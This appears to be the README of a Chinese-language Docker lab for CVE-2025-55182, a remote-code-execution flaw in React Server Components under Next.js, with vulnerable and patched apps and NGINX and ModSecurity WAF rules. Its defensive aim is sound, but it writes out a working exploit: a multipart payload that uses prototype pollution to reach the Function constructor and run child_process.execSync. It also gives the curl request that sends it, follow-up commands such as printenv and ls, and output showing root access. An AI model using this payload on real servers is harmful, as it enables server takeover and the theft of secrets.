// 攻击载荷结构
{
  "then": "$1:__proto__:then",           // 污染 Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // 触发 Blob 反序列化
  "_response": {
    "_prefix": "恶意代码",               // 要执行的代码
    "_formData": {
      "get": "$1:constructor:constructor"  // 访问 Function constructor
    }
  }
}

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

.\run-tests.ps1 status

# 方法1：使用 PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1

# 方法2：直接运行 Node.js
node tests\exploit-working.js

### 第四步：查看结果

可以在服务器日志中查看命令执行结果：

```bash
docker compose logs vulnerable-app --tail=20

# PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1

# 或直接运行 Node.js
node tests\exploit-working.js

# 创建载荷文件
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 发送攻击
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 确认日志执行
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

// 在 exploit-working.js 文件中：
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '应用目录列表' },
  { name: 'env', cmd: 'printenv', desc: '环境变量输出' }
]

# 执行有效攻击
node tests/exploit-working.js

# 预期结果：命令执行成功
# 输出：用户信息、系统详细信息等

# 使用 PowerShell 脚本
.\tests\exploit-working.ps1 -Port 3001

# 通过 NGINX WAF 尝试攻击
.\tests\exploit-working.ps1 -Port 8080

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

# NGINX 拦截测试
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 预期响应: HTTP 403

# ModSecurity 拦截测试
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 预期响应: HTTP 403

# NGINX 安全日志
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity 审计日志
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Docker 环境配置
├── run-tests.ps1                       # Windows 执行脚本
├── run-tests.sh                        # Linux/Mac 执行脚本
│
├── vulnerable-app/                     # 有漏洞版本应用
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # 基本布局
│   │   ├── page.js                     # 主页面
│   │   └── api/
│   │       └── health/                 # 健康检查端点
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # 已修补漏洞版本应用
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # 攻击脚本
│   ├── exploit-working.js              # RCE 攻击 (Node.js)
│   ├── exploit-working.ps1             # RCE 攻击 (PowerShell)
│   └── exploit-working.cmd             # RCE 攻击 (批处理文件)
│
├── nginx/                              # NGINX WAF 配置
│   ├── nginx.conf                      # CVE-2025-55182 拦截规则
│   └── nginx-patched.conf              # 代理配置
│
└── apache/                             # Apache ModSecurity 配置
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # ModSecurity 拦截规则

[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

# 实时日志监控
docker compose logs -f vulnerable-app

# 需要确认的内容：
# [EXPLOIT] Executing: whoami
# [RESULT] root

# 确认攻击是否已执行
docker compose exec vulnerable-app ps aux | grep node

# 确认文件系统更改 (如果写入了文件)
docker compose exec vulnerable-app ls -la /tmp

# 使用已修补版本测试
.\tests\exploit-working.ps1 -Port 3001

# 或
$env:TARGET_PORT=3001; node tests\exploit-working.js

# 使用已修补版本测试
TARGET_PORT=3001 node tests/exploit-working.js

# 启动
.\run-tests.ps1 start

# 检查状态
.\run-tests.ps1 status

# 查看日志
.\run-tests.ps1 logs

# 停止
.\run-tests.ps1 stop

# 初始化 (删除所有容器和卷)
.\run-tests.ps1 clean

# 1. 检查版本
docker compose exec vulnerable-app npm list react next

# 预期显示：
# [email protected]
# [email protected]

# 2. 确认服务器是否响应
curl http://localhost:3000

# 3. 查看 Docker 日志
docker compose logs vulnerable-app --tail=50

# 4. 重启容器
docker compose restart vulnerable-app

# 在 PowerShell 中过滤日志
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

无法加载文件...因为在此系统上禁止运行脚本...

# 仅应用于当前会话
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# 或直接运行
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

docker compose ps

# 查看端口占用进程
netstat -ano | findstr :3000

# 终止进程 (确认 PID 后)
taskkill /PID <PID> /F

# 更改端口以避免冲突
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # 将 3000 改为 3010

# 测试 NGINX 配置
docker compose exec nginx nginx -t

# 测试 Apache 配置
docker compose exec apache apachectl configtest

# 查看日志
docker compose logs nginx --tail=30
docker compose logs apache --tail=30